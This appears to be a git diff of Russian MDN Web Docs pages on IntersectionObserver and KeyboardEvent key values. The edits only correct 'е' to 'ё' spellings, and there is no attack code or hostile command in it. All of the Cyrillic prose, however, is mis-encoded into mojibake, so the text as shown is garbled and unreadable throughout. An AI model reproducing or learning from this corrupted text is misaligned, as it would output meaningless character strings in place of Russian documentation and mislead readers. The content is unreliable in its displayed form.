ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ риска нСэффСктивной пСрСрисовки элСмСнтов, Ссли Π²Ρ‹ сначала Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ элСмСнт ΠΈΠ· DOM, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ.</p>
+<p>Ѐункция <code>loadRandomAd()</code> ΠΈΠΌΠΈΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹ ΠΈ Π΅Ρ‘ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° страницу. Если Π²Ρ‹ Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>replaceBox</code>, создаётся ΠΈ примСняСтся Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹. Если Π²Ρ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ <code>replaceBox</code>, этот ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ рассматриваСтся, ΠΊΠ°ΠΊ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт. ВмСсто создания Π½ΠΎΠ²ΠΎΠ³ΠΎ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт измСняСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ риска нСэффСктивной пСрСрисовки элСмСнтов, Ссли Π²Ρ‹ сначала Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ элСмСнт ΠΈΠ· DOM, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ.</p>
<pre class="brush: js notranslate">function loadRandomAd(replaceBox) {
let ads = [
@@ -523,7 +523,7 @@ function buildContents() {
<p>Если <code>replaceBox</code> содСрТит ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΌΡ‹ рассматриваСм Π΅Π³ΠΎ ΠΊΠ°ΠΊ элСмСнт Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°. ΠœΡ‹ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅ΠΌ наблюдСниС Π·Π° элСмСнтом с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("IntersectionObserver.unobserve()")}}. Π—Π°Ρ‚Π΅ΠΌ собираСм Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ свойства элСмСнта: Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Ρ‚Π΅Π»ΠΎ ΠΈ Ρ‚Π°ΠΉΠΌΠ΅Ρ€.</p>
-<p>Если Π½ΠΈΠΊΠ°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ для <code>replaceBox</code>, ΠΌΡ‹ создаСм Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт. Боздаётся Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ {{HTMLElement("div")}}. Π•Π³ΠΎ CSS-ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ класса <code>"ad"</code>. Π—Π°Ρ‚Π΅ΠΌ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°, Π΅Π³ΠΎ тСкст ΠΈ Ρ‚Π°ΠΉΠΌΠ΅Ρ€.Β  БоотствСтвСнно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} ΠΈ {{HTMLElement("div")}}. Π­Ρ‚ΠΈ элСмСнты ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ <code>adBox</code>.</p>
+<p>Если Π½ΠΈΠΊΠ°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ для <code>replaceBox</code>, ΠΌΡ‹ создаём Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт. Боздаётся Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ {{HTMLElement("div")}}. Π•Π³ΠΎ CSS-ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ класса <code>"ad"</code>. Π—Π°Ρ‚Π΅ΠΌ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°, Π΅Π³ΠΎ тСкст ΠΈ Ρ‚Π°ΠΉΠΌΠ΅Ρ€.Β  БоотствСтвСнно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} ΠΈ {{HTMLElement("div")}}. Π­Ρ‚ΠΈ элСмСнты ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ <code>adBox</code>.</p>
<p>ПослС этого развСтвлСния наш ΠΊΠΎΠ΄ вновь возвращаСтся ΠΊ Π΅Π΄ΠΈΠ½ΠΎΠΌΡƒ. Π€ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² присваиваСтся соотвСтствСнно записям. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Π°ΠΌ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ классы ΠΈ содСрТимоС.</p>
diff --git a/files/ru/web/api/intersectionobserver/index.html b/files/ru/web/api/intersectionobserver/index.html
index 81c9d06e14..6676d9a6b7 100644
--- a/files/ru/web/api/intersectionobserver/index.html
+++ b/files/ru/web/api/intersectionobserver/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/IntersectionObserver
<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <code><strong>IntersectionObserver</strong></code> Π² составС <a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> <span class="seoSummary">прСдоставляСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ асинхронного наблюдСния Π·Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ пСрСсСчСния Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта с Π²Ρ‹ΡˆΠ΅ΡΡ‚ΠΎΡΡ‰ΠΈΠΌ элСмСнтом ΠΈΠ»ΠΈ с Π²Π΅Ρ€Ρ…ΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹ΠΌ {{Glossary('viewport')}} Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</span> Π’Ρ‹ΡˆΠ΅ΡΡ‚ΠΎΡΡ‰ΠΈΠΉ элСмСнт ΠΈΠ»ΠΈ viewport считаСтся ΠΊΠΎΡ€Π½Π΅ΠΌ.</p>
-<p>Когда <code>IntersectionObserver</code> создан, ΠΎΠ½ настроСн Π½Π° отслСТиваниС Π·Π°Π΄Π°Π½Π½Ρ‹Ρ… ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ видимости Π² ΠΊΠΎΡ€Π½Π΅. ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° послС создания <code>IntersectionObserver</code>, поэтому Ρ‚Π°ΠΊΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для наблюдСния Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ измСнСниями Π² стСпСни видимости; ΠΎΠ΄Π½Π°ΠΊΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° нСсколькими Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌΠΈ элСмСнтами с ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Π΅ΠΌ.</p>
+<p>Когда <code>IntersectionObserver</code> создан, ΠΎΠ½ настроСн Π½Π° отслСТиваниС Π·Π°Π΄Π°Π½Π½Ρ‹Ρ… ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ видимости Π² ΠΊΠΎΡ€Π½Π΅. ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° послС создания <code>IntersectionObserver</code>, поэтому Ρ‚Π°ΠΊΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для наблюдСния Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ измСнСниями Π² стСпСни видимости; ΠΎΠ΄Π½Π°ΠΊΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° нСсколькими Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌΠΈ элСмСнтами с ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Π΅ΠΌ.</p>
<h2 id="Constructor">Constructor</h2>
diff --git a/files/ru/web/api/keyboardevent/altkey/index.html b/files/ru/web/api/keyboardevent/altkey/index.html
index 65ff69f379..774df5baea 100644
--- a/files/ru/web/api/keyboardevent/altkey/index.html
+++ b/files/ru/web/api/keyboardevent/altkey/index.html
@@ -33,7 +33,7 @@ function showChar(e){
&lt;body onkeypress="showChar(event);"&gt;
&lt;p&gt;
-НаТмитС Π»ΡŽΠ±ΡƒΡŽ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ с Π·Π°ΠΆΠ°Ρ‚ΠΎΠΉ клавишСй ALT ΠΈΠ»ΠΈ Π±Π΅Π· Π½Π΅Π΅&lt;br /&gt;
+НаТмитС Π»ΡŽΠ±ΡƒΡŽ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ с Π·Π°ΠΆΠ°Ρ‚ΠΎΠΉ клавишСй ALT ΠΈΠ»ΠΈ Π±Π΅Π· Π½Π΅Ρ‘&lt;br /&gt;
Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ SHIFT вмСстС с ALT.
&lt;/p&gt;
&lt;/body&gt;
diff --git a/files/ru/web/api/keyboardevent/index.html b/files/ru/web/api/keyboardevent/index.html
index 78e057c480..0d4f5ab6c4 100644
--- a/files/ru/web/api/keyboardevent/index.html
+++ b/files/ru/web/api/keyboardevent/index.html
@@ -137,7 +137,7 @@ translation_of: Web/API/KeyboardEvent
<li><code>keyup</code></li>
</ol>
-<p>Π’ этих срСдах, ΠΊ соТалСнию, Π½Π΅Ρ‚ возмоТности ΡΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π» Π°Π²Ρ‚ΠΎΠΏΠΎΠ²Ρ‚ΠΎΡ€ ΠΈΠ»ΠΈ клавиша Π±Ρ‹Π»Π° Π½Π°ΠΆΠ°Ρ‚Π° нСсколько Ρ€Π°Π·.</p>
+<p>Π’ этих срСдах, ΠΊ соТалСнию, Π½Π΅Ρ‚ возмоТности ΡΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π» Π°Π²Ρ‚ΠΎΠΏΠΎΠ²Ρ‚ΠΎΡ€ ΠΈΠ»ΠΈ клавиша Π±Ρ‹Π»Π° Π½Π°ΠΆΠ°Ρ‚Π° нСсколько Ρ€Π°Π·.</p>
<h4 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_Π°Π²Ρ‚ΠΎΠΏΠΎΠ²Ρ‚ΠΎΡ€Π°_Π½Π°_систСмах_Π΄ΠΎ_Gecko_5.0">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π°Π²Ρ‚ΠΎΠΏΠΎΠ²Ρ‚ΠΎΡ€Π° Π½Π° систСмах Π΄ΠΎ Gecko 5.0</h4>
diff --git a/files/ru/web/api/keyboardevent/key/key_values/index.html b/files/ru/web/api/keyboardevent/key/key_values/index.html
index d899eb5c38..1dc955cf06 100644
--- a/files/ru/web/api/keyboardevent/key/key_values/index.html
+++ b/files/ru/web/api/keyboardevent/key/key_values/index.html
@@ -3,7 +3,7 @@ title: ЗначСния клавиш
slug: Web/API/KeyboardEvent/key/Key_Values
translation_of: Web/API/KeyboardEvent/key/Key_Values
---
-<p>Π’ Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ… Π½ΠΈΠΆΠ΅ пСрСчислСны стандартныС значСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉΒ ΠΊΠ»Π°Π²ΠΈΡˆ с объяснСниСм Ρ‚ΠΎΠ³ΠΎ, для Ρ‡Π΅Π³ΠΎ этот ΠΊΠ»Π°Π²ΠΈΡˆΠ°Β ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ. Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ΄Ρ‹ клавиш для распространСнных ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Ρ‚Π°ΠΌ, Π³Π΄Π΅ ΠΎΠ½ΠΈ доступны.</p>
+<p>Π’ Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ… Π½ΠΈΠΆΠ΅ пСрСчислСны стандартныС значСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉΒ ΠΊΠ»Π°Π²ΠΈΡˆ с объяснСниСм Ρ‚ΠΎΠ³ΠΎ, для Ρ‡Π΅Π³ΠΎ этот ΠΊΠ»Π°Π²ΠΈΡˆΠ°Β ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ. Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ΄Ρ‹ клавиш для распространённых ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Ρ‚Π°ΠΌ, Π³Π΄Π΅ ΠΎΠ½ΠΈ доступны.</p>
<div class="pull-aside">
<div class="moreinfo">Π£Π·Π½Π°ΠΉΡ‚Π΅, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΏΠ°Ρ€Ρ‹ "ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅" Π² JavaScript с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="/docs/Web/API/KeyboardEvent/key">KeyboardEvent.key</a></div>
@@ -13,7 +13,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅_значСния">Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ значСния</h2>
-<p>ЗначСния клавиш ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… особоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΡ€ΠΎΠΌΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ клавиши ΠΈΠ»ΠΈ символа.</p>
+<p>ЗначСния клавиш ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… особоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΡ€ΠΎΠΌΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ клавиши ΠΈΠ»ΠΈ символа.</p>
<table class="standard-table">
<thead>
@@ -33,7 +33,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
<tr>
<td><code>"Unidentified"</code></td>
<td>
- <p>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ Π½Π΅ смог ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ события с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ клавиши.</p>
+ <p>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ Π½Π΅ смог ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ события с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ клавиши.</p>
<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ ΠΈΠ·-Π·Π° Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½Ρ‹Ρ… ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Ρ… ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ ΠΈΠ·-Π·Π° ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚.</p>
</td>
@@ -692,9 +692,9 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
<p>[3] Internet Explorer (ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½ΠΎ Π² вСрсиях 9 ΠΈ 11) ΠΈ Firefox 36 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΡ…, клавиша контСкстного мСню Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"Apps"</code> вмСсто <code>"ContextMenu"</code>.</p>
-<p>[4] Клавиша <kbd>Attn</kbd> Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"Unidentified"</code> Π² Internet Explorer (ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½ΠΎ Π² вСрсиях 9 ΠΈ 11). Π’ Firefox ΠΈ Google Chrome происходит Ρ‚ΠΎ ΠΆΠ΅, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ дСйствуСт японская раскладка ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Ρ‚ΠΎ Π² этом случаС ΠΎΠ½Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ вмСсто Π½Π΅Π΅ <code>"KanaMode"</code>.</p>
+<p>[4] Клавиша <kbd>Attn</kbd> Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"Unidentified"</code> Π² Internet Explorer (ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½ΠΎ Π² вСрсиях 9 ΠΈ 11). Π’ Firefox ΠΈ Google Chrome происходит Ρ‚ΠΎ ΠΆΠ΅, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ дСйствуСт японская раскладка ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Ρ‚ΠΎ Π² этом случаС ΠΎΠ½Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ вмСсто Π½Π΅Ρ‘ <code>"KanaMode"</code>.</p>
-<p>[5] Клавиша <kbd>Finish</kbd> Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"Unidentified"</code> Π² Internet Explorer (ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½ΠΎ Π² вСрсиях 9 ΠΈ 11). Π’ Firefox происходит Ρ‚ΠΎ ΠΆΠ΅, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ дСйствуСт японская раскладка ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Ρ‚ΠΎ Π² этом случаС ΠΎΠ½Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ вмСсто Π½Π΅Π΅ <code>"Katakana"</code>.</p>
+<p>[5] Клавиша <kbd>Finish</kbd> Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"Unidentified"</code> Π² Internet Explorer (ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½ΠΎ Π² вСрсиях 9 ΠΈ 11). Π’ Firefox происходит Ρ‚ΠΎ ΠΆΠ΅, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ дСйствуСт японская раскладка ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Ρ‚ΠΎ Π² этом случаС ΠΎΠ½Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ вмСсто Π½Π΅Ρ‘ <code>"Katakana"</code>.</p>
<p>[6] Firefox Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» клавиши <code>"ZoomIn"</code> ΠΈ <code>"ZoomOut"</code> Π΄ΠΎ Firefox 37.</p>
@@ -735,7 +735,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"Eject"</code></td>
- <td>Клавиша извлСчСния <kbd>Eject</kbd>. Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ ΡΡŠΠ΅ΠΌΠ½Ρ‹ΠΉ Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒ (ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π»ΠΎΡ‚ΠΎΠΊ оптичСского дисковода, открывая ΠΈ закрывая Π΅Π³ΠΎ).</td>
+ <td>Клавиша извлСчСния <kbd>Eject</kbd>. Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ ΡΡŠΡ‘ΠΌΠ½Ρ‹ΠΉ Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒ (ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π»ΠΎΡ‚ΠΎΠΊ оптичСского дисковода, открывая ΠΈ закрывая Π΅Π³ΠΎ).</td>
<td></td>
<td></td>
<td><code>GDK_KEY_Eject</code> (0x1008FF2C)<br>
@@ -786,7 +786,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"Hibernate"</code> [2]</td>
